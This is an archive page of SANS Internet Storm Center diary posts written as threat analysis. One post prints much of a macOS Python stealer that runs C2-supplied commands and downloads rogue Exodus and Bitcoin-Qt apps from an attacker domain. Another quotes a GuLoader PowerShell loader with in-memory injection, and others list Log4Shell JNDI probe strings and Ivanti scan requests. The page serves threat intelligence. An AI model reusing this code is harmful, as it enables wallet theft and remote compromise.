Tag Archives: SANS

macOS Python Script Replacing Wallet Applications with Rogue Apps, (Fri, Jan 19th)

This post was originally published on this site

Still today, many people think that Apple and its macOS are less targeted by malware. But the landscape is changing and threats are emerging in this ecosystem too[1]. Here is a good example: I found a malicious Python script targeting wallet application on macOS.

The script is not obfuscated and is easy to understand. The Virustotal score[2] remains low (3/59). What does it do? It targets two applications: Exodus[3] and Bitcoin Core[4]. It searches for occurrences of these applications:

def get_installed_apps():
    processor_series = is_mac_intel()
    application_paths = ['/Applications', '/System/Applications']
    app_names = []

    for applications_path in application_paths:
        try:
            app_dirs = os.listdir(applications_path)
        except FileNotFoundError:
            # If the directory is not found, skip to the next
            continue

        for app in app_dirs:
            if app.endswith('.app'):
                app_name = app[:-4]  # Remove the '.app' extension
                app_path = os.path.join(applications_path, app)

                # Special handling for "Exodus" app
                if app_name == "Exodus":
                    exodus_path = os.path.join(applications_path, 'Exodus.app')
                    size_in_mb = get_dir_size(exodus_path) / (1024 * 1024)  # Convert bytes to megabytes
                    if size_in_mb < 2:
                        app_name = '*' + app_name

                # Special handling for "Bitcoin-Qt" app
                if app_name == "Bitcoin-Qt":
                    hash_val = hash_directory(app_path)
                    if hash_val in ['07c20b191203d55eca8f7b238ac67380a73aba1103f5513c125870a40a963ded',
                                    '51ffe30ec2815b71e3ca63a92272c548fa75961bc141057676edd53917c638da']:
                        app_name = '*' + app_name
                app_names.append(app_name)

    # Join the application names into a single string
    sorted_app_names = sorted(app_names)
    apps_string = ', '.join(sorted_app_names)
    return f"Processor Series: {'Intel' if processor_series else 'M1'}, Installed Apps: {apps_string}"

Note that it also checks the architecture (Intel or M1).

Once started, the script exfiltrates some info to the C2 server:

r = send(d(meta_version) + b(1) + d(meta_guid))
...
s = b''
if up:
    print("getting upload")
    s = json.dumps({
        "os": platform.platform() or "empty",
        "cm": get_subfolders("/USERS/") or "empty",
        "av": "",
        "apps": get_installed_apps() or "empty",
        "ip": meta_ip,
        "ver": ""
    }, indent=None).encode('utf8')
    print("getting upload ok {}".format(s))
...
print("ping start {}".format(meta_version))
r = send(d(meta_version) + b(2) + d(uid) + s)

The C2 server might reply with some Python commands to be executed on the victim’s computer:

if len(r) > 4:
    print("cmd start")
    s = r[4:].decode()
    cmd = s.split('rn')
    for c in cmd:
        p = subprocess.Popen([sys.executable], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        o = p.communicate(input=base64.b64decode(c), timeout=10)[0]
    print("cmd end")

Then, the script will replace applications. The first target is Exodus:

def check_exodus_and_hash():
    apps_string = get_installed_apps()
    if 'Exodus' in apps_string:
        exodus_path = '/Applications/Exodus.app'
        size_in_mb = get_dir_size(exodus_path) / (1024 * 1024)  # Convert bytes to megabytes
    if size_in_mb < 2:
        print("less than 2MB")
    else:
        if not os.path.exists("/Applications/Exodus.app"):
            print("exodus not installed")
            exit(0)
    print("exodus start")
    process_name = "Exodus"
    while True:
          if is_process_running(process_name):
              time.sleep(30)
          else:
               ar = '/tmp/' + str(uuid.uuid4())
               os.mkdir(ar)
               zapp = ar + '/e.zip'
               scpt = ar + '/e.scpt'
               icn = ar + "/applet.icns"
               zelec = ar + "/elec.zip"
               realelecurl = is_mac_intelElectronUrl()
               download_file_with_progress(realelecurl, zelec)
               download_file_with_progress("http://apple-analyser.com/f/app.zip", zapp)
               download_file_with_progress("http://apple-analyser.com/f/Exodus.scpt", scpt)
               download_file_with_progress("http://apple-analyser.com/f/applet.icns", icn)
               subprocess.run(['unzip', "-o", zelec, '-d', "/Users/{}/electron".format(getpass.getuser())])
               subprocess.run(['unzip', "-o", zapp, '-d', "/Users/{}/exodus".format(getpass.getuser())])
               subprocess.run(['osacompile', '-o', ar + '/Exodus.app', scpt])
               shutil.copyfile(icn, ar + '/Exodus.app/Contents/Resources/applet.icns')
               shutil.rmtree("/Applications/Exodus.app")
               shutil.copytree(ar + '/Exodus.app', "/Applications/Exodus.app")
               print("exodus ok")
               time.sleep(10)
               delete_directory(ar)
               break

The script downloads a fake Exodus app, an instance of the Electron framework[5], an Apple Script file (a .scpt file), and an icon (a .icns file). By reading the line above, you can see that files are extracted, and a new app is built via the "osacompile" tool[6] to compile Apple Scripts (note that this tool requires Xcode to be installed!)

The official app is replaced by an Apple Script. That’s why an icon file has been downloaded, it will replace the default icon and mimick a valid Exodus:

For the second app, it's easier: It is just replaced:

def check_btccore_and_hash():
    apps_string = get_installed_apps()
    if 'Bitcoin-Qt' in apps_string:
        app_url = is_mac_intelBtcUrl()
        app_name = "Bitcoin-Qt.app"
        applications_dir = "/Applications/Bitcoin-Qt.app"
        expected_hash = is_mac_intelBtcHash()
        file_hash = hash_directory(applications_dir)
        if file_hash != expected_hash:
            if not os.path.exists("/Applications/Bitcoin-Qt.app"):
                print("btccore not installed")
                exit(0)
            print("btccore start")
            while True:
                if is_process_running("Bitcoin-Qt"):
                    time.sleep(30)
                else:
                    try:
                       ar = '/tmp/' + str(uuid.uuid4())
                       os.mkdir(ar)
                       temp_zip_path = ar + '/Bitcoin-Qt.zip'
                       download_file_with_progress(app_url, temp_zip_path)
                       remove_file(applications_dir)
                       time.sleep(3)
                       subprocess.run(['unzip', temp_zip_path, '-d', "/Applications"])
                       time.sleep(5)
                       subprocess.run(["chmod", "775","/Applications/Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt"])
                       time.sleep(5)
                       delete_directory(ar)
                       break  # Move the break statement outside of the except block
                    except Exception as e:
                       print(f"Error downloading file: {e}")
                       sys.exit(1)

What's the purpose of the installed rogue application? I did not detect suspicious traffic but my analysis skills with macOS binaries are low. If you have more information, please share it with us!

Here are two interesting IOCs: The domains used by the scripts to fetch payloads and talk to the C2:

  • apple-analysis[.]com
  • apple-health[.]org

[1] https://www.sentinelone.com/blog/macos-malware-2023-a-deep-dive-into-emerging-trends-and-evolving-techniques/
[2] https://www.virustotal.com/gui/file/f6bb428efdb66da56f43d7fd7affce482c47846ee8083b3740d2e4ce541319c0
[3] https://www.exodus.com/desktop/
[4] https://bitcoin.org/en/wallets/desktop/mac/bitcoincore/
[5] https://www.electronjs.org/
[6] https://ss64.com/mac/osacompile.html

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

More Scans for Ivanti Connect "Secure" VPN. Exploits Public, (Thu, Jan 18th)

This post was originally published on this site

Exploits around the Ivanti Connect "Secure" VPN appliance, taking advantage of CVE-2023-46805, continue evolving. Late on Tuesday, more details became public, particularly the blog post by Rapid7 explaining the underlying vulnerability in depth [1]. Rapid7 also does a good job walking you through how Ivanti obfuscates the LUKS key in its appliance. This will make it easier for security researchers to inspect the code, hopefully pointing out additional vulnerabilities to Ivanti in the future. In other words, get ready for more Ivanti exploits, and hopefully patches, this year.

Number Usage in Passwords, (Wed, Jan 17th)

This post was originally published on this site

Numbers are often used in passwords to add complexity. Passwords submitted to honeypots are also often found within pre-existing passwords lists, containing compromised credentials. What numbers are most commonly used?

First, unique passwords were extracted using 'jq'.

# read cowrie JSON files
# cat /logs/cowrie.json*

# select any values with the password key present
# jq 'select(.password)'

# get password values without quotes (raw)
# jq -r .password 

# get unique values and save them to a text file
# sort | uniq > 2024-01-07_unique_passwords.txt

cat /logs/cowrie.json* | jq 'select(.password)' | jq -r .password | sort | uniq > 2024-01-07_unique_passwords.txt

 

Date range of data: 04/13/2022 – 01/05/2024
Number of unique passwords: 275,811

Python was usued to extract the numbers and chart the most common results.

import re
from collections import Counter
import matplotlib.pyplot as plt

filehandle = open("2024-01-07_unique_passwords.txt", "r", encoding="utf8")
passwords = []
for line in filehandle.readlines():
    passwords.append(line.replace("n", ""))

individual_digits = []
contiguous_numbers = []
for each_password in passwords:
    individual_digits += re.findall(r'd', each_password)
    contiguous_numbers += re.findall(r'd+', each_password)

individual_digit_counts = Counter(individual_digits)
contiguous_number_counts = Counter(contiguous_numbers)

x = []
y = []
for number, frequency in contiguous_number_counts.most_common(10):
    x.append(number)
    y.append(frequency)

plt.bar(x, y)
plt.title(f"Top {len(x)} Numbers Used in Unique Passwords Submitted to Honeypot")
plt.xlabel("Number")
plt.ylabel("Frequency")
plt.show()

x = []
y = []
for number, frequency in individual_digit_counts.items():
    x.append(number)
    y.append(frequency)

plt.bar(x, y)
plt.title(f"Numbers Used in Unique Passwords Submitted to Honeypot")
plt.xlabel("Number")
plt.ylabel("Frequency")
plt.show()


Figure 1: Top 10 contiguous numbers used in passwords submitted to a honeypot

The most commonly used number within passwords submitted to one of my honeypots was "123". Of the contiguous numbers submitted, they are either the individual digits between 1 and 4 or numbers added sequentially to 1, such as "12", "123", or "1234".


Figure 2: Top 10 digits used most often within passwords submitted to a honeypot

Of the individual digits used, whether alone or within a larger number, the most commonly used in order are 1, 2 and 3. Generally, the lower the number, the more frequently it is used. 0 is a bit of an outlier. This may mean that most of the time, passwords may be used with incrementing numbers when changed, or simply appended with the next highest number. This isn't too surprising, but interesting to see within the data.

 

What about years? Well, the same method was used, but looking for contiguous numbers of length 4.


Figure 3: Top 10 numbers used within passwords containing only 4 digits

 

Outside of "1234", most of the values to appear to be years, with higher numbers generally seen for more recent years. Is there any difference in these values if submitted in a different year? While this could also be done in python, values for specific years were extacted with 'jq'.

# read all cowrie JSON files
# cat /logs/cowrie.json* 

# select data with the password key present and with timestamps between 1/1/2022 and 12/31/2022
# jq 'select((.password) and (.timestamp >= "2022-01-01") and (.timestamp <= "2022-12-31"))'

# select password values without quotes (raw)
# jq -r .password

# get unique password values and save to a file
# sort | uniq > 2022_unique_passwords_submitted.txt


cat /logs/cowrie.json* | jq 'select((.password) and (.timestamp >= "2022-01-01") and (.timestamp <= "2022-12-31"))' | jq -r .password | sort | uniq > 2022_unique_passwords_submitted.txt

cat /logs/cowrie.json* | jq 'select((.password) and (.timestamp >= "2023-01-01") and (.timestamp <= "2023-12-31"))' | jq -r .password | sort | uniq > 2023_unique_passwords_submitted.txt

cat /logs/cowrie.json* | jq 'select((.password) and (.timestamp >= "2024-01-01") and (.timestamp <= "2024-12-31"))' | jq -r .password | sort | uniq > 2024_unique_passwords_submitted.txt

 


Figure 4: Top 10 4-digit numbers contained in passwords submitted to a honeypot in 2022

 


Figure 5: Top 10 4-digit numbers contained in passwords submitted to a honeypot in 2023

 


Figure 6: Top 10 4-digit numbers contained in passwords submitted to a honeypot in 2024

 

Overall, the 4-digit numbers used within passwords submitted appear to be heavily influenced by the year in which they were submitted. The number 2024 is not heavily reflected, but is present in the data, with a total of 9 passwords containing this value. This was as of 1/7/2024.


Figure 7: Counts of 4-digit numbers seen within passwords, highlighting "2024" occurences

 

With some updated data including the last week, I went ahead and graphed when the numbers "2022", "2023" and "2024" were present within a submitted password. Unlike the previous data used, this was not deduplicated since it would truncate the dates identified when these values were submitted.

# read the cowrie JSON logs files
# cat /logs/cowrie.json*

# select data where the password key was present
# jq 'select(.password)'

# select submission timestamp and password
# delimited with " DELIMIT " since passwords may use common delimiting characters
# save passwords and submission timestamps to file
# jq '.timestamp + " DELIMIT " + .password' > 2024-01-13_passwords_submitted.txt

cat /logs/cowrie.json* | jq 'select(.password)' | jq '.timestamp + " DELIMIT " + .password' > 2024-01-13_passwords_submitted.txt

 

import pandas as pd
import re
import matplotlib.pyplot as plt

def return_matched_timestamps(string_to_match):
    incrementer = 0
    matched_timestamps = []
    while incrementer < len(passwords):
        match = 0
        #print(passwords[incrementer])
        numbers = re.findall(r'd+', passwords[incrementer])
        for each_number in numbers:
            if str(each_number) == string_to_match:
                match = 1
        if match == 1:
            matched_timestamps.append(timestamps[incrementer])
        incrementer += 1
    return matched_timestamps

df = pd.read_csv("2024-01-13_passwords_submitted.txt", names=["Date", "Password"], sep=" DELIMIT", engine="python", parse_dates=["Date"], na_filter=False)

timestamps = df['Date'].tolist()
passwords = df['Password'].tolist()

timestamps_2024 = return_matched_timestamps("2024")
timestamps_2023 = return_matched_timestamps("2023")
timestamps_2022 = return_matched_timestamps("2022")

df_2022 = pd.DataFrame(timestamps_2022)
by_month_2022 = pd.to_datetime(df_2022[0]).dt.to_period('M').value_counts().sort_index()
df_month_2022 = by_month_2022.rename_axis('month').reset_index(name='counts')

df_2023 = pd.DataFrame(timestamps_2023)
by_month_2023 = pd.to_datetime(df_2023[0]).dt.to_period('M').value_counts().sort_index()
df_month_2023 = by_month_2023.rename_axis('month').reset_index(name='counts')

df_2024 = pd.DataFrame(timestamps_2024)
by_month_2024 = pd.to_datetime(df_2024[0]).dt.to_period('M').value_counts().sort_index()
df_month_2024 = by_month_2024.rename_axis('month').reset_index(name='counts')

plt.plot_date(df_month_2022['month'], df_month_2022['counts'], 'b-', label="Contains '2022'")
plt.plot_date(df_month_2023['month'], df_month_2023['counts'], 'r-', label="Contains '2023'")
plt.plot_date(df_month_2024['month'], df_month_2024['counts'], 'g-', label="Contains '2024'")
plt.xlabel("Date (broken down by month)")
plt.ylabel("Passwords Submitted")
plt.legend(loc="upper left")
plt.show()


Figure 8: Graph of individual passwords submitted each month including "2022", "2023" or "2024"

The incorporation of "2023" and "2024" increase close to the beginning of that year. These was a steep increase in the use of "2023" seen on this honeypot in November of 2023.

Probably a good idea to avoid using the current year in your password, or any recent year in general.


Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Scans for Ivanti Connect "Secure" VPN Vulnerability (CVE-2023-46805, CVE-2024-21887), (Tue, Jan 16th)

This post was originally published on this site

Last week, Volexity published a blog describing two vulnerabilities in Ivanti's Connect "Secure" VPN [1]. These vulnerabilities have been exploited in limited, targeted attacks. At this point, Ivanti released a configuration workaround but no patch for this vulnerability. The configuration can be applied in the form of an encrypted XML file.

Watchtowr, a company in the vulnerability scanning business, investigated the configuration change created by Ivanti and shared how it detects if an Ivanti instance had the configuration change applied. After the change is applied, requests to a specific REST API URL (/api/v1/configuration/users/user-roles/user-role/rest-userrole1/web/web-bookmarks/bookmark) will include a complete HTML body. Before the patch is applied, only headers are received from the device [2].

Starting on Sunday, our honeypots detected the first scans for this URL. This is likely due to attackers building target lists while working on the exploit. Neither Volexity nor Watchtowr have released exploits for the vulnerability. Ivanti delivers the Connect "Secure" VPN as a virtual appliance with an obfuscated disk image. Still, the obfuscation is easily bypassed, and exploits are likely available to a wider and wider group of attackers.  Ransomware attackers are likely already taking advantage of the vulnerability.

Currently, one IP address participating in these scans is %%ip:176.58.124.134%%. It has taken part in some scans for various vulnerabilities in the past. I am not yet able to confirm that any systems identified as vulnerable will be attacked. Still, at least, it looks like this attacker is building a target list for later exploitation.

Shadowserver stated that they are performing some scans for vulnerable instances. The website associated with the IP has a simple banner stating that the host is used to scan for vulnerable systems, and this may be a Shadowserver system.

The requests use minimal HTTP/1.1 requests with only the required host header:

GET /api/v1/configuration/users/user-roles/user-role/rest-userrole1/web/web-bookmarks/bookmark HTTP/1.1
Host: [victim IP address]

 

[1] https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/
[2] https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

One File, Two Payloads, (Fri, Jan 12th)

This post was originally published on this site

It has been a while since I discussed obfuscation techniques in malicious scripts. I found a VB script that pretends to be a PDF file. As usual, it was delivered through a phishing email with a zip archive. The filename is "rfw_po_docs_order_sheet_01_10_202400000000_pdf.vbs" (SHA256:6e6ecd38cc3c58c40daa4020b856550b1cbaf1dbc0fad517f7ca26d6e11a3d75[1])

The script starts with a strange trick: It lists the available Windows services, builds a string containing all the services names, and searches for the substring “Microsoft” across them:

Set Krebse = GetObject("winmgmts:{impersonationLevel=" & "i" & "mpersonate}!.rootcimv2")
on error resume next
Set Adulterant = Krebse.ExecQuery("Select * from Win32_Service")
For Each Diaphanom in Adulterant
    Botn = Botn + Diaphanom.DisplayName
    Anencephaliadelegereel = LenB("Sgetilladelser")
Next
Modangrebs = instr(1,Botn,"Microsoft",vbTextCompare)
if Modangrebs <> 0 then

This looks pretty obvious that it will work because there are a lot of services that contain that string. The purpose is different: To build the string “PowerShell”:

The variable $Modangrebs will contain the first position of the Microsoft string. Then, the script does this:

Modangrebs = mid(Botn,Modangrebs+5,1)
Modangrebs=UCase(Modangrebs)
Figurmr = "ower" + Modangrebs + "hell.exe "

It extracts the letter ’S’ and builds the string.

Indeed, at the end of the script, PowerShell is invoked:

Call Udklknings.ShellExecute("P" & Figurmr, Chr(34) & J4 & Chr(34), "", "", Kalkstene218)

Let’s have a look at the payload “J4”. J4 is based on a series of variables that contains strings, integers, or hex values:

Const Outslink = 15548
Const Srlovssagers = "Acemetae249 Helsidesannoncer Lovhjemmel24"
Const purgatories = &HFFFF2306
Const diatomicity = "Biprodukts205 Sarcogyps Petrification"
Const Unrepetitiously224 = "Riddertidens Posede Hastati Retinal"
Const Afstaaelse = -23507
Const Fyldestgrelses = 35506
Const Grundigt = "Mislabors Beklageliges226 Ranine Chewy"
Const Stikkestingsmaskinen = "Uhs Handpicks Hypersensitizations95"
Const Housewarm = "Sildehajens Microscopises"
Const Shooting = "Tricorn Bigot Vandflyvere126 Heades"
Const Spurtes = &HBF37
Const Tjenstlige = "Anamnestic Cometaria"
Const Directoral = 64675
Const Enderonic = &HFFFFFA7B
Const Udgangsstrm = "Golder Palmebladstaget"
Const Barkede = &HFFFF831D
Const Aa38 = &HFFFF9626
[...]

Everything is concatenated with some manipulations like substring extraction:

Finiglacialramp = Mid("Unplutocratical41",140,245)

Replacements:

Revolutionisestor = Replace(Revolutionisestor,"Straight","Genvindes")

or XOR:

Brannersprintkorrekturs = Brannersprintkorrekturs xor 3898120

The payload is polluted with many strings “Calc32”, replaced by “S” at the end:

J4 = Replace(J4,"Calc32",Modangrebs)

The Powershell payload fetches some content online:

hxxp://85[.]209[.]176[.]46/Lamben.smi>hxxp://ecox[.]pt/Lamben.smi

In the script, only the first element of the array (delimited by “>” is used).

It also uses a simple function to obfuscate its code that, once decoded, is executed with a classic IEX:

Function datas ([String]$Attach)
{
    $zool = 5;
    For($Stagykre=4; $Stagykre -lt $Attach.Length-1; $Stagykre+=$zool)
    {
        $Adjud4 = $Attach.Substring($Stagykre, $Axifer);        
        $Adjud=$Adjud+$Adjud4;
    }
    $Adjud;
}

Based on this function, the following variable will contain “IEX”:

$Adjud01=datas 'DiamiNaveeXeroxMeta ';

The downloaded payload is a simple Base64 chunk of data but there is another nice trick: Only a part of the file contains the payload. Once decoded, it is extracted with the following line:

$global:Adjud3=$Adjud2.substring(287353,19289)

The payload is heavily obfuscated but we can see the following classic actions: Some memory is allocated, fulfilled with executable code and invoked.

$global:Frosties3 = $Frosties16.Invoke([IntPtr]::Zero, 652, 0x3000, 0x40)
[...]
$Frosties21.Invoke($Frosties3,$Frosties20,$Telopha,0,0)

Where is the payload? Once memory has been allocated, there are two chunk of data that are copied in memory:

$Haandk144=287353-652
[...]
[System.Runtime.InteropServices.Marshal]::Copy($Belize, 0,  $Frosties3, 652)
[...]
[System.Runtime.InteropServices.Marshal]::Copy($Belize, 652, $Frosties20, $Haandk144)

What is the contain of the $Belize variable? In the first stage script, the variable was filled with the downloaded content (see URLs above):

$global:Unheredit = Get-Content $Borgmester2
$global:Belize = [System.Convert]::FromBase64String($Unheredit)

That's the magic here: The downloaded payload in Base64 contains two important pieces of data:

From offset 0: the executable payload that is injected and executed in memory.
From offset 287353: the second stage PowerShell script.

The executed payload crashed in my sandbox for an unknown reason but apparently, it launched a "wab.exe" process (from C:Program FilesWindows Mail). This tool is the "Windows Address Book" application. The process has injected malicious code and tries to fetch another payload from hxxp://85[.]209[.]176[.]46/onNRbDtEslIgGZXX169.bin.

It seems to be a variant of the GuLoader[2] malware.

[1] https://www.virustotal.com/gui/file/6e6ecd38cc3c58c40daa4020b856550b1cbaf1dbc0fad517f7ca26d6e11a3d75
[2] https://misp-galaxy.org/mitre-malware/?h=guloader#guloader-s0561

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

New YouTube Video Series: Hacker Tools Origin Stories, (Thu, Jan 11th)

This post was originally published on this site

I remembered that I should have mentioned this in today's podcast, so here it goes as a quick post. The amazing Mark Baggett stepped away from his Python console and started a new series of YouTube videos about the origin stories of various hacker tools. The first one he covers is Security Onion. These videos interview the creators of the tools to learn more about why and how they were created.

screen shot showing securtiy onion's origin story uncut


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Microsoft January 2024 Patch Tuesday, (Wed, Jan 10th)

This post was originally published on this site

Microsoft today surprised with a light patch Tuesday. We only received 48 patches for Microsoft products and four for Chromium, affecting Microsoft Edge. Only two of the 48 patches are rated critical; none had been disclosed or exploited before today. The update also includes an SQLite patch affecting Microsoft products. This issue fixed the "Stranger Strings" vulnerability, patched in 2022 in the open-source version of SQLite. 

What is that User Agent?, (Mon, Jan 8th)

This post was originally published on this site

Devices are connecting to different web resources on a regular basis. One method to identify what is connecting to a web resource is through a user agent [1] and many are received on DShield [2] honeypots.

 


Figure 1: Popular user agents seen over the last 7 days from a honeypot

 

Some of these user agents are easier to understand than others. They can indicate the version of software used to connect to the web resource and, as seen in the example above, indicate access attempts from researchers.

 

Translating User Agent Strings

There are many resources to help and give human readible information on what these user agent strings indicate. Many allow for manual submission, but to save some time and effort, I wanted to automate this process. I decided to use an API through WhatIsMyBrowser [3] to gather data from user agents collected by one of my honeypots. First, I needed to gather the user agents that I have seen from my honeypot. and 'jq' was the tool I decided to use for a quick text export.

# read all web honeypot lots from my archival location
# default storage location for these logs is /srv/db/ on a DShield honeypot
# cat /logs/webhoneypot*.json

# select any user agent values where the value is not blank
# jq -r 'select(.useragent!="")'

# get raw user agent values (without quotes) and output to a text file
# jq -r .useragent[] > all_user_agents_historic.txt


cat /logs/webhoneypot*.json | jq -r 'select(.useragent!="")' | jq -r .useragent[] > all_user_agents_historic.txt

 

Now that I have all my user agents, I put together a short python script to process the data.


import requests
import json
from collections import Counter

def get_user_agents(file):
    unique_user_agents = set()
    all_headers = []
    filehandle = open(file, "r")
    for line in filehandle.readlines():
        unique_user_agents.add(line.replace("n", ""))
        all_headers.append(line.replace("n", ""))
    return all_headers, unique_user_agents

def get_post_data(user_agent):
    header = []
    header.append({
    "name": "USER_AGENT",
    "value": user_agent,
    })
    return header

def request_user_agent_data(header):
    headers = {
        'X-API-KEY': "<redacted>",
    }

    post_data = {
        "headers": header,
    }

    result = requests.post("https://api.whatismybrowser.com/api/v3/detect", data=json.dumps(post_data), headers=headers)
    save_results(result.text, "results.json")
    try:
        save_results(
            str(header_counts[header[0]["value"]]) + "|" +
            result.json().get("detection").get("simple_software_string") + "|" +
            header[0]["value"], "basic_results.csv"
        )
    except:
        save_results(
            str(header_counts[header[0]["value"]]) + "|" +
            "No results found" + "|" +
            header[0]["value"], "basic_results.csv"
        )        

def save_results(result, filename):
    filehandle = open(filename, "a")
    filehandle.write(result + "n")
    filehandle.close()

def process_headers(header_list):
    for each_header in header_list:
        request_user_agent_data(get_post_data(each_header))

all_headers, headers_to_send = get_user_agents("all_user_agents_historic.txt")
header_counts = Counter(all_headers)

process_headers(headers_to_send)

 

Some of this was based on example code documentation [4]. I ran into some issues submitting all of the headers in one request. Instead, this submits all of the unique user agents one at a time and saves the results to a couple files:

  • basic_results.csv –> Bar ("|") delimited text file containing number of times the user agent was seen, translated user agent, raw user agent
  • results.json –> raw results from every request

There are definitely some efficiencies to be made with the code, but it gave me what I was looking for.

 

User Agents Seen on a DShield Honeypot

Before going into some of the specific user agents, some information about the data used:

Time period of data 8/3/2023 – 1/5/2024
(approximately 5 months of data)
Number of user agent strings 7,540,306
Number of unique user agent strings 1,181

Figure 2: Summary of data used for analysis

 

Most Common User Agents

Count Translated User Agent Raw User Agent
2303996 Firefox 22 on Windows 7 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
1702751 Firefox 93 on Windows 10 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
250183 Chrome 81 on Linux Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
170996 Chrome 117 on Windows 10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
157401 Internet Explorer 7 on Windows Vista Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
138207 Firefox 60 on Windows 10 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
134014 Go Http Client 1.1 Go-http-client/1.1
121178 Chrome 109 on Windows 10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
112378 ZGrab 0.x Mozilla/5.0 zgrab/0.x
110627 Chrome 116 on Windows 10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36

Figure 3: Top 10 most common user agents seen on a DShield honeypot

 

The "translated user agent" is much easier to understand. The most popular user agent seen is for Windows 7 using Firefox 22. Windows 7 support ended in January of 2020 and Firefox 22 was released in 2013. This could either be a very old and outdated device, that also may be compromised, or it is a falsified user agent string. To better understand what hosts are using this specific user agent string, I can take a look at the raw data.

The data used for this search was only the last 7 days.

# read web honeypot json files
# cat /logs/webhoneypot*.json

# search for values that do not have a blank user agent
# jq -r 'select(.useragent!="")'

# search for our specific user agent string (Windows 7, Firefox 22)
# jq -r 'select(.useragent[]=="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0")'

# output the source IPs, sorted by the number of times the source IP was seen
# jq -r .sip | sort | uniq -c | sort -n


cat /logs/webhoneypot*.json | jq -r 'select(.useragent!="")' |  jq -r 'select(.useragent[]=="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0")' | jq -r .sip | sort | uniq -c | sort -n

831351 80.243.171.172

 

This user agent has only been coming from %%ip:80.243.171.172%% in the last week. Are there any other user agents that this particular IP is using?

cat /logs/webhoneypot*.json | jq -r 'select(.useragent!="")' | jq 'select(.sip=="80.243.171.172")' |  jq -r .useragent[] | sort | uniq -c | sort -n
      2 QualysGuard
    116 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729);
    185 ${jndi:nis://10.10.11.42:42643/QUALYSTEST}
    207 ZX-80 SPECTRUM
    263 ${jndi:corba://10.10.11.42:35625/QUALYSTEST}
    439 ${jndi:http://10.10.11.42:43608/QUALYSTEST}
    457 Java/1.8.0_102
    496 Java/1.8.0_161
    528 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    769 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    892 curl/7.55.1
    964 ${jndi:ldap://10.10.11.42:37161/QUALYSTEST}
   1017 ${jndi:ldaps://10.10.11.42:33141/QUALYSTEST}
   1069 ${jndi:nds://10.10.11.42:43608/QUALYSTEST}
   1105 ${jndi:ldaps://10.10.11.42:42091/QUALYSTEST}
   1368 ${jndi:dns://10.10.11.42:42643/QUALYSTEST}
   1500 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
   1525 ${jndi:iiop://10.10.11.42:35625/QUALYSTEST}
   1669 ${jndi:rmi://10.10.11.42:42091/QUALYSTEST}
   1791 ${jndi:nis://10.10.11.42:45742/QUALYSTEST}
   2653 ${jndi:rmi://10.10.11.42:33141/QUALYSTEST}
   2794 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101
   3062 ${jndi:dns://10.10.11.42:45742/QUALYSTEST}
   3253 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
   3305 Node.js
   3642 Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
   3805 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
   3862 : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
   3875 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
   3889 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
   4115 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
   4374 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36
   4467 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
